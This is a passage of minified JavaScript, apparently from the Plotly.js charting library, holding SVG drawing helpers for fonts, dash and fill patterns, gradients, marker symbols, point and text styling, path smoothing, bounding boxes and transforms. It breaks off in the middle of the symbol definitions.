M=e(39898),P=e(71828),o=P.numberFormat,L=e(92770),S=e(84267),d=e(73972),g=e(7901),t=e(21081),r=P.strTranslate,f=e(63893),a=e(77922),l=e(18783),u=l.LINE_SPACING,s=e(37822).DESELECTDIM,y=e(34098),c=e(39984),b=e(23469).appendArrayPointValue,h=te.exports={};h.font=function(be,ge,Te,Fe){P.isPlainObject(ge)&&(Fe=ge.color,Te=ge.size,ge=ge.family),ge&&be.style("font-family",ge),Te+1&&be.style("font-size",Te+"px"),Fe&&be.call(g.fill,Fe)},h.setPosition=function(be,ge,Te){be.attr("x",ge).attr("y",Te)},h.setSize=function(be,ge,Te){be.attr("width",ge).attr("height",Te)},h.setRect=function(be,ge,Te,Fe,Oe){be.call(h.setPosition,ge,Te).call(h.setSize,Fe,Oe)},h.translatePoint=function(be,ge,Te,Fe){var Oe=Te.c2p(be.x),Ce=Fe.c2p(be.y);if(L(Oe)&&L(Ce)&&ge.node())ge.node().nodeName==="text"?ge.attr("x",Oe).attr("y",Ce):ge.attr("transform",r(Oe,Ce));else return!1;return!0},h.translatePoints=function(be,ge,Te){be.each(function(Fe){var Oe=M.select(this);h.translatePoint(Fe,Oe,ge,Te)})},h.hideOutsideRangePoint=function(be,ge,Te,Fe,Oe,Ce){ge.attr("display",Te.isPtWithinRange(be,Oe)&&Fe.isPtWithinRange(be,Ce)?null:"none")},h.hideOutsideRangePoints=function(be,ge){if(ge._hasClipOnAxisFalse){var Te=ge.xaxis,Fe=ge.yaxis;be.each(function(Oe){var Ce=Oe[0].trace,Be=Ce.xcalendar,$e=Ce.ycalendar,Xe=d.traceIs(Ce,"bar-like")?".bartext":".point,.textpoint";be.selectAll(Xe).each(function(Ze){h.hideOutsideRangePoint(Ze,M.select(this),Te,Fe,Be,$e)})})}},h.crispRound=function(be,ge,Te){return!ge||!L(ge)?Te||0:be._context.staticPlot?ge:ge<1?1:Math.round(ge)},h.singleLineStyle=function(be,ge,Te,Fe,Oe){ge.style("fill","none");var Ce=(((be||[])[0]||{}).trace||{}).line||{},Be=Te||Ce.width||0,$e=Oe||Ce.dash||"";g.stroke(ge,Fe||Ce.color),h.dashLine(ge,$e,Be)},h.lineGroupStyle=function(be,ge,Te,Fe){be.style("fill","none").each(function(Oe){var Ce=(((Oe||[])[0]||{}).trace||{}).line||{},Be=ge||Ce.width||0,$e=Fe||Ce.dash||"";M.select(this).call(g.stroke,Te||Ce.color).call(h.dashLine,$e,Be)})},h.dashLine=function(be,ge,Te){Te=+Te||0,ge=h.dashStyle(ge,Te),be.style({"stroke-dasharray":ge,"stroke-width":Te+"px"})},h.dashStyle=function(be,ge){ge=+ge||1;var Te=Math.max(ge,3);return be==="solid"?be="":be==="dot"?be=Te+"px,"+Te+"px":be==="dash"?be=3*Te+"px,"+3*Te+"px":be==="longdash"?be=5*Te+"px,"+5*Te+"px":be==="dashdot"?be=3*Te+"px,"+Te+"px,"+Te+"px,"+Te+"px":be==="longdashdot"&&(be=5*Te+"px,"+2*Te+"px,"+Te+"px,"+2*Te+"px"),be};function i(be,ge,Te){var Fe=ge.fillpattern,Oe=Fe&&h.getPatternAttr(Fe.shape,0,"");if(Oe){var Ce=h.getPatternAttr(Fe.bgcolor,0,null),Be=h.getPatternAttr(Fe.fgcolor,0,null),$e=Fe.fgopacity,Xe=h.getPatternAttr(Fe.size,0,8),Ze=h.getPatternAttr(Fe.solidity,0,.3),Ke=ge.uid;h.pattern(be,"point",Te,Ke,Oe,Xe,Ze,void 0,Fe.fillmode,Ce,Be,$e)}else ge.fillcolor&&be.call(g.fill,ge.fillcolor)}h.singleFillStyle=function(be,ge){var Te=M.select(be.node()),Fe=Te.data(),Oe=((Fe[0]||[])[0]||{}).trace||{};i(be,Oe,ge)},h.fillGroupStyle=function(be,ge){be.style("stroke-width",0).each(function(Te){var Fe=M.select(this);Te[0].trace&&i(Fe,Te[0].trace,ge)})};var v=e(90998);h.symbolNames=[],h.symbolFuncs=[],h.symbolBackOffs=[],h.symbolNeedLines={},h.symbolNoDot={},h.symbolNoFill={},h.symbolList=[],Object.keys(v).forEach(function(be){var ge=v[be],Te=ge.n;h.symbolList.push(Te,String(Te),be,Te+100,String(Te+100),be+"-open"),h.symbolNames[Te]=be,h.symbolFuncs[Te]=ge.f,h.symbolBackOffs[Te]=ge.backoff||0,ge.needLine&&(h.symbolNeedLines[Te]=!0),ge.noDot?h.symbolNoDot[Te]=!0:h.symbolList.push(Te+200,String(Te+200),be+"-dot",Te+300,String(Te+300),be+"-open-dot"),ge.noFill&&(h.symbolNoFill[Te]=!0)});var T=h.symbolNames.length,w="M0,0.5L0.5,0L0,-0.5L-0.5,0Z";h.symbolNumber=function(be){if(L(be))be=+be;else if(typeof be=="string"){var ge=0;be.indexOf("-open")>0&&(ge=100,be=be.replace("-open","")),be.indexOf("-dot")>0&&(ge+=200,be=be.replace("-dot","")),be=h.symbolNames.indexOf(be),be>=0&&(be+=ge)}return be%100>=T||be>=400?0:Math.floor(Math.max(be,0))};function E(be,ge,Te,Fe){var Oe=be%100;return h.symbolFuncs[Oe](ge,Te,Fe)+(be>=200?w:"")}var p={x1:1,x2:0,y1:0,y2:0},A={x1:0,x2:0,y1:1,y2:0},m=o("~f"),n={radial:{node:"radialGradient"},radialreversed:{node:"radialGradient",reversed:!0},horizontal:{node:"linearGradient",attrs:p},horizontalreversed:{node:"linearGradient",attrs:p,reversed:!0},vertical:{node:"linearGradient",attrs:A},verticalreversed:{node:"linearGradient",attrs:A,reversed:!0}};h.gradient=function(be,ge,Te,Fe,Oe,Ce){for(var Be=Oe.length,$e=n[Fe],Xe=new Array(Be),Ze=0;Ze<Be;Ze++)$e.reversed?Xe[Be-1-Ze]=[m((1-Oe[Ze][0])*100),Oe[Ze][1]]:Xe[Ze]=[m(Oe[Ze][0]*100),Oe[Ze][1]];var Ke=ge._fullLayout,st="g"+Ke._uid+"-"+Te,lt=Ke._defs.select(".gradients").selectAll("#"+st).data([Fe+Xe.join(";")],P.identity);lt.exit().remove(),lt.enter().append($e.node).each(function(){var ut=M.select(this);$e.attrs&&ut.attr($e.attrs),ut.attr("id",st);var yt=ut.selectAll("stop").data(Xe);yt.exit().remove(),yt.enter().append("stop"),yt.each(function(bt){var Ot=S(bt[1]);M.select(this).attr({offset:bt[0]+"%","stop-color":g.tinyRGB(Ot),"stop-opacity":Ot.getAlpha()})})}),be.style(Ce,W(st,ge)).style(Ce+"-opacity",null),be.classed("gradient_filled",!0)},h.pattern=function(be,ge,Te,Fe,Oe,Ce,Be,$e,Xe,Ze,Ke,st){var lt=ge==="legend";$e&&(Xe==="overlay"?(Ze=$e,Ke=g.contrast(Ze)):(Ze=void 0,Ke=$e));var ut=Te._fullLayout,yt="p"+ut._uid+"-"+Fe,bt,Ot,Ge=function(pt,St,_t,Ft,Tt){return Ft+(Tt-Ft)*(pt-St)/(_t-St)},Le,Pe,De,Ee,ye={},ae=S(Ke),de=g.tinyRGB(ae),Me=ae.getAlpha(),Ie=st*Me;switch(Oe){case"/":bt=Ce*Math.sqrt(2),Ot=Ce*Math.sqrt(2),Le="M-"+bt/4+","+Ot/4+"l"+bt/2+",-"+Ot/2+"M0,"+Ot+"L"+bt+",0M"+bt/4*3+","+Ot/4*5+"l"+bt/2+",-"+Ot/2,Pe=Be*Ce,Ee="path",ye={d:Le,opacity:Ie,stroke:de,"stroke-width":Pe+"px"};break;case"\\":bt=Ce*Math.sqrt(2),Ot=Ce*Math.sqrt(2),Le="M"+bt/4*3+",-"+Ot/4+"l"+bt/2+","+Ot/2+"M0,0L"+bt+","+Ot+"M-"+bt/4+","+Ot/4*3+"l"+bt/2+","+Ot/2,Pe=Be*Ce,Ee="path",ye={d:Le,opacity:Ie,stroke:de,"stroke-width":Pe+"px"};break;case"x":bt=Ce*Math.sqrt(2),Ot=Ce*Math.sqrt(2),Le="M-"+bt/4+","+Ot/4+"l"+bt/2+",-"+Ot/2+"M0,"+Ot+"L"+bt+",0M"+bt/4*3+","+Ot/4*5+"l"+bt/2+",-"+Ot/2+"M"+bt/4*3+",-"+Ot/4+"l"+bt/2+","+Ot/2+"M0,0L"+bt+","+Ot+"M-"+bt/4+","+Ot/4*3+"l"+bt/2+","+Ot/2,Pe=Ce-Ce*Math.sqrt(1-Be),Ee="path",ye={d:Le,opacity:Ie,stroke:de,"stroke-width":Pe+"px"};break;case"|":bt=Ce,Ot=Ce,Ee="path",Le="M"+bt/2+",0L"+bt/2+","+Ot,Pe=Be*Ce,Ee="path",ye={d:Le,opacity:Ie,stroke:de,"stroke-width":Pe+"px"};break;case"-":bt=Ce,Ot=Ce,Ee="path",Le="M0,"+Ot/2+"L"+bt+","+Ot/2,Pe=Be*Ce,Ee="path",ye={d:Le,opacity:Ie,stroke:de,"stroke-width":Pe+"px"};break;case"+":bt=Ce,Ot=Ce,Ee="path",Le="M"+bt/2+",0L"+bt/2+","+Ot+"M0,"+Ot/2+"L"+bt+","+Ot/2,Pe=Ce-Ce*Math.sqrt(1-Be),Ee="path",ye={d:Le,opacity:Ie,stroke:de,"stroke-width":Pe+"px"};break;case".":bt=Ce,Ot=Ce,Be<Math.PI/4?De=Math.sqrt(Be*Ce*Ce/Math.PI):De=Ge(Be,Math.PI/4,1,Ce/2,Ce/Math.sqrt(2)),Ee="circle",ye={cx:bt/2,cy:Ot/2,r:De,opacity:Ie,fill:de};break}var Qe=[Oe||"noSh",Ze||"noBg",Ke||"noFg",Ce,Be].join(";"),et=ut._defs.select(".patterns").selectAll("#"+yt).data([Qe],P.identity);et.exit().remove(),et.enter().append("pattern").each(function(){var pt=M.select(this);if(pt.attr({id:yt,width:bt+"px",height:Ot+"px",patternUnits:"userSpaceOnUse",patternTransform:lt?"scale(0.8)":""}),Ze){var St=S(Ze),_t=g.tinyRGB(St),Ft=St.getAlpha(),Tt=pt.selectAll("rect").data([0]);Tt.exit().remove(),Tt.enter().append("rect").attr({width:bt+"px",height:Ot+"px",fill:_t,"fill-opacity":Ft})}var Gt=pt.selectAll(Ee).data([0]);Gt.exit().remove(),Gt.enter().append(Ee).attr(ye)}),be.style("fill",W(yt,Te)).style("fill-opacity",null),be.classed("pattern_filled",!0)},h.initGradients=function(be){var ge=be._fullLayout,Te=P.ensureSingle(ge._defs,"g","gradients");Te.selectAll("linearGradient,radialGradient").remove(),M.select(be).selectAll(".gradient_filled").classed("gradient_filled",!1)},h.initPatterns=function(be){var ge=be._fullLayout,Te=P.ensureSingle(ge._defs,"g","patterns");Te.selectAll("pattern").remove(),M.select(be).selectAll(".pattern_filled").classed("pattern_filled",!1)},h.getPatternAttr=function(be,ge,Te){return be&&P.isArrayOrTypedArray(be)?ge<be.length?be[ge]:Te:be},h.pointStyle=function(be,ge,Te,Fe){if(be.size()){var Oe=h.makePointStyleFns(ge);be.each(function(Ce){h.singlePointStyle(Ce,M.select(this),ge,Oe,Te,Fe)})}},h.singlePointStyle=function(be,ge,Te,Fe,Oe,Ce){var Be=Te.marker,$e=Be.line;if(Ce&&Ce.i>=0&&be.i===void 0&&(be.i=Ce.i),ge.style("opacity",Fe.selectedOpacityFn?Fe.selectedOpacityFn(be):be.mo===void 0?Be.opacity:be.mo),Fe.ms2mrc){var Xe;be.ms==="various"||Be.size==="various"?Xe=3:Xe=Fe.ms2mrc(be.ms),be.mrc=Xe,Fe.selectedSizeFn&&(Xe=be.mrc=Fe.selectedSizeFn(be));var Ze=h.symbolNumber(be.mx||Be.symbol)||0;be.om=Ze%200>=100;var Ke=_e(be,Te),st=Q(be,Te);ge.attr("d",E(Ze,Xe,Ke,st))}var lt=!1,ut,yt,bt;if(be.so)bt=$e.outlierwidth,yt=$e.outliercolor,ut=Be.outliercolor;else{var Ot=($e||{}).width;bt=(be.mlw+1||Ot+1||(be.trace?(be.trace.marker.line||{}).width:0)+1)-1||0,"mlc"in be?yt=be.mlcc=Fe.lineScale(be.mlc):P.isArrayOrTypedArray($e.color)?yt=g.defaultLine:yt=$e.color,P.isArrayOrTypedArray(Be.color)&&(ut=g.defaultLine,lt=!0),"mc"in be?ut=be.mcc=Fe.markerScale(be.mc):ut=Be.color||Be.colors||"rgba(0,0,0,0)",Fe.selectedColorFn&&(ut=Fe.selectedColorFn(be))}if(be.om)ge.call(g.stroke,ut).style({"stroke-width":(bt||1)+"px",fill:"none"});else{ge.style("stroke-width",(be.isBlank?0:bt)+"px");var Ge=Be.gradient,Le=be.mgt;Le?lt=!0:Le=Ge&&Ge.type,P.isArrayOrTypedArray(Le)&&(Le=Le[0],n[Le]||(Le=0));var Pe=Be.pattern,De=Pe&&h.getPatternAttr(Pe.shape,be.i,"");if(Le&&Le!=="none"){var Ee=be.mgc;Ee?lt=!0:Ee=Ge.color;var ye=Te.uid;lt&&(ye+="-"+be.i),h.gradient(ge,Oe,ye,Le,[[0,Ee],[1,ut]],"fill")}else if(De){var ae=!1,de=Pe.fgcolor;!de&&Ce&&Ce.color&&(de=Ce.color,ae=!0);var Me=h.getPatternAttr(de,be.i,Ce&&Ce.color||null),Ie=h.getPatternAttr(Pe.bgcolor,be.i,null),Qe=Pe.fgopacity,et=h.getPatternAttr(Pe.size,be.i,8),pt=h.getPatternAttr(Pe.solidity,be.i,.3);ae=ae||be.mcc||P.isArrayOrTypedArray(Pe.shape)||P.isArrayOrTypedArray(Pe.bgcolor)||P.isArrayOrTypedArray(Pe.fgcolor)||P.isArrayOrTypedArray(Pe.size)||P.isArrayOrTypedArray(Pe.solidity);var St=Te.uid;ae&&(St+="-"+be.i),h.pattern(ge,"point",Oe,St,De,et,pt,be.mcc,Pe.fillmode,Ie,Me,Qe)}else P.isArrayOrTypedArray(ut)?g.fill(ge,ut[be.i]):g.fill(ge,ut);bt&&g.stroke(ge,yt)}},h.makePointStyleFns=function(be){var ge={},Te=be.marker;return ge.markerScale=h.tryColorscale(Te,""),ge.lineScale=h.tryColorscale(Te,"line"),d.traceIs(be,"symbols")&&(ge.ms2mrc=y.isBubble(be)?c(be):function(){return(Te.size||6)/2}),be.selectedpoints&&P.extendFlat(ge,h.makeSelectedPointStyleFns(be)),ge},h.makeSelectedPointStyleFns=function(be){var ge={},Te=be.selected||{},Fe=be.unselected||{},Oe=be.marker||{},Ce=Te.marker||{},Be=Fe.marker||{},$e=Oe.opacity,Xe=Ce.opacity,Ze=Be.opacity,Ke=Xe!==void 0,st=Ze!==void 0;(P.isArrayOrTypedArray($e)||Ke||st)&&(ge.selectedOpacityFn=function(De){var Ee=De.mo===void 0?Oe.opacity:De.mo;return De.selected?Ke?Xe:Ee:st?Ze:s*Ee});var lt=Oe.color,ut=Ce.color,yt=Be.color;(ut||yt)&&(ge.selectedColorFn=function(De){var Ee=De.mcc||lt;return De.selected?ut||Ee:yt||Ee});var bt=Oe.size,Ot=Ce.size,Ge=Be.size,Le=Ot!==void 0,Pe=Ge!==void 0;return d.traceIs(be,"symbols")&&(Le||Pe)&&(ge.selectedSizeFn=function(De){var Ee=De.mrc||bt/2;return De.selected?Le?Ot/2:Ee:Pe?Ge/2:Ee}),ge},h.makeSelectedTextStyleFns=function(be){var ge={},Te=be.selected||{},Fe=be.unselected||{},Oe=be.textfont||{},Ce=Te.textfont||{},Be=Fe.textfont||{},$e=Oe.color,Xe=Ce.color,Ze=Be.color;return ge.selectedTextColorFn=function(Ke){var st=Ke.tc||$e;return Ke.selected?Xe||st:Ze||(Xe?st:g.addOpacity(st,s))},ge},h.selectedPointStyle=function(be,ge){if(!(!be.size()||!ge.selectedpoints)){var Te=h.makeSelectedPointStyleFns(ge),Fe=ge.marker||{},Oe=[];Te.selectedOpacityFn&&Oe.push(function(Ce,Be){Ce.style("opacity",Te.selectedOpacityFn(Be))}),Te.selectedColorFn&&Oe.push(function(Ce,Be){g.fill(Ce,Te.selectedColorFn(Be))}),Te.selectedSizeFn&&Oe.push(function(Ce,Be){var $e=Be.mx||Fe.symbol||0,Xe=Te.selectedSizeFn(Be);Ce.attr("d",E(h.symbolNumber($e),Xe,_e(Be,ge),Q(Be,ge))),Be.mrc2=Xe}),Oe.length&&be.each(function(Ce){for(var Be=M.select(this),$e=0;$e<Oe.length;$e++)Oe[$e](Be,Ce)})}},h.tryColorscale=function(be,ge){var Te=ge?P.nestedProperty(be,ge).get():be;if(Te){var Fe=Te.color;if((Te.colorscale||Te._colorAx)&&P.isArrayOrTypedArray(Fe))return t.makeColorScaleFuncFromTrace(Te)}return P.identity};var C={start:1,end:-1,middle:0,bottom:1,top:-1};function x(be,ge,Te,Fe,Oe){var Ce=M.select(be.node().parentNode),Be=ge.indexOf("top")!==-1?"top":ge.indexOf("bottom")!==-1?"bottom":"middle",$e=ge.indexOf("left")!==-1?"end":ge.indexOf("right")!==-1?"start":"middle",Xe=Fe?Fe/.8+1:0,Ze=(f.lineCount(be)-1)*u+1,Ke=C[$e]*Xe,st=Te*.75+C[Be]*Xe+(C[Be]-1)*Ze*Te/2;be.attr("text-anchor",$e),Oe||Ce.attr("transform",r(Ke,st))}function I(be,ge){var Te=be.ts||ge.textfont.size;return L(Te)&&Te>0?Te:0}h.textPointStyle=function(be,ge,Te){if(be.size()){var Fe;if(ge.selectedpoints){var Oe=h.makeSelectedTextStyleFns(ge);Fe=Oe.selectedTextColorFn}var Ce=ge.texttemplate,Be=Te._fullLayout;be.each(function($e){var Xe=M.select(this),Ze=Ce?P.extractOption($e,ge,"txt","texttemplate"):P.extractOption($e,ge,"tx","text");if(!Ze&&Ze!==0){Xe.remove();return}if(Ce){var Ke=ge._module.formatLabels,st=Ke?Ke($e,ge,Be):{},lt={};b(lt,ge,$e.i);var ut=ge._meta||{};Ze=P.texttemplateString(Ze,st,Be._d3locale,lt,$e,ut)}var yt=$e.tp||ge.textposition,bt=I($e,ge),Ot=Fe?Fe($e):$e.tc||ge.textfont.color;Xe.call(h.font,$e.tf||ge.textfont.family,bt,Ot).text(Ze).call(f.convertToTspans,Te).call(x,yt,bt,$e.mrc)})}},h.selectedTextStyle=function(be,ge){if(!(!be.size()||!ge.selectedpoints)){var Te=h.makeSelectedTextStyleFns(ge);be.each(function(Fe){var Oe=M.select(this),Ce=Te.selectedTextColorFn(Fe),Be=Fe.tp||ge.textposition,$e=I(Fe,ge);g.fill(Oe,Ce);var Xe=d.traceIs(ge,"bar-like");x(Oe,Be,$e,Fe.mrc2||Fe.mrc,Xe)})}};var k=.5;h.smoothopen=function(be,ge){if(be.length<3)return"M"+be.join("L");var Te="M"+be[0],Fe=[],Oe;for(Oe=1;Oe<be.length-1;Oe++)Fe.push(N(be[Oe-1],be[Oe],be[Oe+1],ge));for(Te+="Q"+Fe[0][0]+" "+be[1],Oe=2;Oe<be.length-1;Oe++)Te+="C"+Fe[Oe-2][1]+" "+Fe[Oe-1][0]+" "+be[Oe];return Te+="Q"+Fe[be.length-3][1]+" "+be[be.length-1],Te},h.smoothclosed=function(be,ge){if(be.length<3)return"M"+be.join("L")+"Z";var Te="M"+be[0],Fe=be.length-1,Oe=[N(be[Fe],be[0],be[1],ge)],Ce;for(Ce=1;Ce<Fe;Ce++)Oe.push(N(be[Ce-1],be[Ce],be[Ce+1],ge));for(Oe.push(N(be[Fe-1],be[Fe],be[0],ge)),Ce=1;Ce<=Fe;Ce++)Te+="C"+Oe[Ce-1][1]+" "+Oe[Ce][0]+" "+be[Ce];return Te+="C"+Oe[Fe][1]+" "+Oe[0][0]+" "+be[0]+"Z",Te};var B,_;function F(be,ge,Te){return Te&&(be=q(be)),ge?z(be[1]):O(be[0])}function O(be){var ge=M.round(be,2);return B=ge,ge}function z(be){var ge=M.round(be,2);return _=ge,ge}function N(be,ge,Te,Fe){var Oe=be[0]-ge[0],Ce=be[1]-ge[1],Be=Te[0]-ge[0],$e=Te[1]-ge[1],Xe=Math.pow(Oe*Oe+Ce*Ce,k/2),Ze=Math.pow(Be*Be+$e*$e,k/2),Ke=(Ze*Ze*Oe-Xe*Xe*Be)*Fe,st=(Ze*Ze*Ce-Xe*Xe*$e)*Fe,lt=3*Ze*(Xe+Ze),ut=3*Xe*(Xe+Ze);return[[O(ge[0]+(lt&&Ke/lt)),z(ge[1]+(lt&&st/lt))],[O(ge[0]-(ut&&Ke/ut)),z(ge[1]-(ut&&st/ut))]]}var G={hv:function(be,ge,Te){return"H"+O(ge[0])+"V"+F(ge,1,Te)},vh:function(be,ge,Te){return"V"+z(ge[1])+"H"+F(ge,0,Te)},hvh:function(be,ge,Te){return"H"+O((be[0]+ge[0])/2)+"V"+z(ge[1])+"H"+F(ge,0,Te)},vhv:function(be,ge,Te){return"V"+z((be[1]+ge[1])/2)+"H"+O(ge[0])+"V"+F(ge,1,Te)}},J=function(be,ge,Te){return"L"+F(ge,0,Te)+","+F(ge,1,Te)};h.steps=function(be){var ge=G[be]||J;return function(Te){for(var Fe="M"+O(Te[0][0])+","+z(Te[0][1]),Oe=Te.length,Ce=1;Ce<Oe;Ce++)Fe+=ge(Te[Ce-1],Te[Ce],Ce===Oe-1);return Fe}};function q(be,ge){var Te=be.backoff,Fe=be.trace,Oe=be.d,Ce=be.i;if(Te&&Fe&&Fe.marker&&Fe.marker.angle%360===0&&Fe.line&&Fe.line.shape!=="spline"){var Be=P.isArrayOrTypedArray(Te),$e=be,Xe=ge?ge[0]:B||0,Ze=ge?ge[1]:_||0,Ke=$e[0],st=$e[1],lt=Ke-Xe,ut=st-Ze,yt=Math.atan2(ut,lt),bt=Be?Te[Ce]:Te;if(bt==="auto"){var Ot=$e.i;Fe.type==="scatter"&&Ot--;var Ge=$e.marker,Le=Ge.symbol;P.isArrayOrTypedArray(Le)&&(Le=Le[Ot]);var Pe=Ge.size;P.isArrayOrTypedArray(Pe)&&(Pe=Pe[Ot]),bt=Ge?h.symbolBackOffs[h.symbolNumber(Le)]*Pe:0,bt+=h.getMarkerStandoff(Oe[Ot],Fe)||0}var De=Ke-bt*Math.cos(yt),Ee=st-bt*Math.sin(yt);(De<=Ke&&De>=Xe||De>=Ke&&De<=Xe)&&(Ee<=st&&Ee>=Ze||Ee>=st&&Ee<=Ze)&&(be=[De,Ee])}return be}h.applyBackoff=q,h.makeTester=function(){var be=P.ensureSingleById(M.select("body"),"svg","js-plotly-tester",function(Te){Te.attr(a.svgAttrs).style({position:"absolute",left:"-10000px",top:"-10000px",width:"9000px",height:"9000px","z-index":"1"})}),ge=P.ensureSingle(be,"path","js-reference-point",function(Te){Te.attr("d","M0,0H1V1H0Z").style({"stroke-width":0,fill:"black"})});h.tester=be,h.testref=ge},h.savedBBoxes={};var ne=0,fe=1e4;h.bBox=function(be,ge,Te){Te||(Te=X(be));var Fe;if(Te){if(Fe=h.savedBBoxes[Te],Fe)return P.extendFlat({},Fe)}else if(be.childNodes.length===1){var Oe=be.childNodes[0];if(Te=X(Oe),Te){var Ce=+Oe.getAttribute("x")||0,Be=+Oe.getAttribute("y")||0,$e=Oe.getAttribute("transform");if(!$e){var Xe=h.bBox(Oe,!1,Te);return Ce&&(Xe.left+=Ce,Xe.right+=Ce),Be&&(Xe.top+=Be,Xe.bottom+=Be),Xe}if(Te+="~"+Ce+"~"+Be+"~"+$e,Fe=h.savedBBoxes[Te],Fe)return P.extendFlat({},Fe)}}var Ze,Ke;ge?Ze=be:(Ke=h.tester.node(),Ze=be.cloneNode(!0),Ke.appendChild(Ze)),M.select(Ze).attr("transform",null).call(f.positionText,0,0);var st=Ze.getBoundingClientRect(),lt=h.testref.node().getBoundingClientRect();ge||Ke.removeChild(Ze);var ut={height:st.height,width:st.width,left:st.left-lt.left,top:st.top-lt.top,right:st.right-lt.left,bottom:st.bottom-lt.top};return ne>=fe&&(h.savedBBoxes={},ne=0),Te&&(h.savedBBoxes[Te]=ut),ne++,P.extendFlat({},ut)};function X(be){var ge=be.getAttribute("data-unformatted");if(ge!==null)return ge+be.getAttribute("data-math")+be.getAttribute("text-anchor")+be.getAttribute("style")}h.setClipUrl=function(be,ge,Te){be.attr("clip-path",W(ge,Te))};function W(be,ge){if(!be)return null;var Te=ge._context,Fe=Te._exportedPlot?"":Te._baseUrl||"";return Fe?"url('"+Fe+"#"+be+"')":"url(#"+be+")"}h.getTranslate=function(be){var ge=/.*\btranslate\((-?\d*\.?\d*)[^-\d]*(-?\d*\.?\d*)[^\d].*/,Te=be.attr?"attr":"getAttribute",Fe=be[Te]("transform")||"",Oe=Fe.replace(ge,function(Ce,Be,$e){return[Be,$e].join(" ")}).split(" ");return{x:+Oe[0]||0,y:+Oe[1]||0}},h.setTranslate=function(be,ge,Te){var Fe=/(\btranslate\(.*?\);?)/,Oe=be.attr?"attr":"getAttribute",Ce=be.attr?"attr":"setAttribute",Be=be[Oe]("transform")||"";return ge=ge||0,Te=Te||0,Be=Be.replace(Fe,"").trim(),Be+=r(ge,Te),Be=Be.trim(),be[Ce]("transform",Be),Be},h.getScale=function(be){var ge=/.*\bscale\((\d*\.?\d*)[^\d]*(\d*\.?\d*)[^\d].*/,Te=be.attr?"attr":"getAttribute",Fe=be[Te]("transform")||"",Oe=Fe.replace(ge,function(Ce,Be,$e){return[Be,$e].join(" ")}).split(" ");return{x:+Oe[0]||1,y:+Oe[1]||1}},h.setScale=function(be,ge,Te){var Fe=/(\bscale\(.*?\);?)/,Oe=be.attr?"attr":"getAttribute",Ce=be.attr?"attr":"setAttribute",Be=be[Oe]("transform")||"";return ge=ge||1,Te=Te||1,Be=Be.replace(Fe,"").trim(),Be+="scale("+ge+","+Te+")",Be=Be.trim(),be[Ce]("transform",Be),Be};var V=/\s*sc.*/;h.setPointGroupScale=function(be,ge,Te){if(ge=ge||1,Te=Te||1,!!be){var Fe=ge===1&&Te===1?"":"scale("+ge+","+Te+")";be.each(function(){var Oe=(this.getAttribute("transform")||"").replace(V,"");Oe+=Fe,Oe=Oe.trim(),this.setAttribute("transform",Oe)})}};var Y=/translate\([^)]*\)\s*$/;h.setTextPointsScale=function(be,ge,Te){be&&be.each(function(){var Fe,Oe=M.select(this),Ce=Oe.select("text");if(Ce.node()){var Be=parseFloat(Ce.attr("x")||0),$e=parseFloat(Ce.attr("y")||0),Xe=(Oe.attr("transform")||"").match(Y);ge===1&&Te===1?Fe=[]:Fe=[r(Be,$e),"scale("+ge+","+Te+")",r(-Be,-$e)],Xe&&Fe.push(Xe),Oe.attr("transform",Fe.join(""))}})};function Q(be,ge){var Te;return be&&(Te=be.mf),Te===void 0&&(Te=ge.marker&&ge.marker.standoff||0),!ge._geo&&!ge._xA?-Te:Te}h.getMarkerStandoff=Q;var ie=Math.atan2,j=Math.cos,K=Math.sin;function oe(be,ge){var Te=ge[0],Fe=ge[1];return[Te*j(be)-Fe*K(be),Te*K(be)+Fe*j(be)]}var re,le,pe,we,xe,ke;function _e(be,ge){var Te=be.ma;Te===void 0&&(Te=ge.marker.angle||0);var Fe,Oe,Ce=ge.marker.angleref;if(Ce==="previous"||Ce==="north"){if(ge._geo){var Be=ge._geo.project(be.lonlat);Fe=Be[0],Oe=Be[1]}else{var $e=ge._xA,Xe=ge._yA;if($e&&Xe)Fe=$e.c2p(be.x),Oe=Xe.c2p(be.y);else return 90}if(ge._geo){var Ze=be.lonlat[0],Ke=be.lonlat[1],st=ge._geo.project([Ze,Ke+1e-5]),lt=ge._geo.project([Ze+1e-5,Ke]),ut=ie(lt[1]-Oe,lt[0]-Fe),yt=ie(st[1]-Oe,st[0]-Fe),bt;if(Ce==="north")bt=Te/180*Math.PI;else if(Ce==="previous"){var Ot=Ze/180*Math.PI,Ge=Ke/180*Math.PI,Le=re/180*Math.PI,Pe=le/180*Math.PI,De=Le-Ot,Ee=j(Pe)*K(De),ye=K(Pe)*j(Ge)-j(Pe)*K(Ge)*j(De);bt=-ie(Ee,ye)-Math.PI,re=Ze,le=Ke}var ae=oe(ut,[j(bt),0]),de=oe(yt,[K(bt),0]);Te=ie(ae[1]+de[1],ae[0]+de[0])/Math.PI*180,Ce==="previous"&&!(ke===ge.uid&&be.i===xe+1)&&(Te=null)}if(Ce==="previous"&&!ge._geo)if(ke===ge.uid&&be.i===xe+1&&L(Fe)&&L(Oe)){var Me=Fe-pe,Ie=Oe-we,Qe=ge.line&&ge.line.shape||"",et=Qe.slice(Qe.length-1);et==="h"&&(Ie=0),et==="v"&&(Me=0),Te+=ie(Ie,Me)/Math.PI*180+90}else Te=null}return pe=Fe,we=Oe,xe=be.i,ke=ge.uid,Te}h.getMarkerAngle=_e},90998:function(te,Z,e){var M=e(95616),P=e(39898).round,o="M0,0Z",L=Math.sqrt(2),S=Math.sqrt(3),d=Math.PI,g=Math.cos,t=Math.sin;te.exports={circle:{n:0,f:function(y,c,b){if(r(c))return o;var h=P(y,2),i="M"+h+",0A"+h+","+h+" 0 1,1 0,-"+h+"A"+h+","+h+" 0 0,1 "+h+",0Z";return b?s(c,b,i):i}},square:{n:1,f:function(y,c,b){if(r(c))return o;var h=P(y,2);return s(c,b,"M"+h+","+h+"H-"+h+"V-"+h+"H"+h+"Z")}},diamond:{n:2,f:function(y,c,b){if(r(c))return o;var h=P(y*1.3,2);return s(c,b,"M"+h+",0L0,"+h+"L-"+h+",0L0,-"+h+"Z")}},cross:{n:3,f:function(y,c,b){if(r(c))return o;var h=P(y*.4,2),i=P(y*1.2,2);return s(c,b,"M"+i+","+h+"H"+h+"V"+i+"H-"+h+"V"+h+"H-"+i+"V-"+h+"H-"+h+"V-"+i+"H"+h+"V-"+h+"H"+i+"Z")}},x:{n:4,f:function(y,c,b){if(r(c))return o;var h=P(y*.8/L,2),i="l"+h+","+h,v="l"+h+",-"+h,T="l-"+h+",-"+h,w="l-"+h+","+h;return s(c,b,"M0,"+h+i+v+T+v+T+w+T+w+i+w+i+"Z")}},"triangle-up":{n:5,f:function(y,c,b){if(r(c))return o;var h=P(y*2/S,2),i=P(y/2,2),v=P(y,2);return 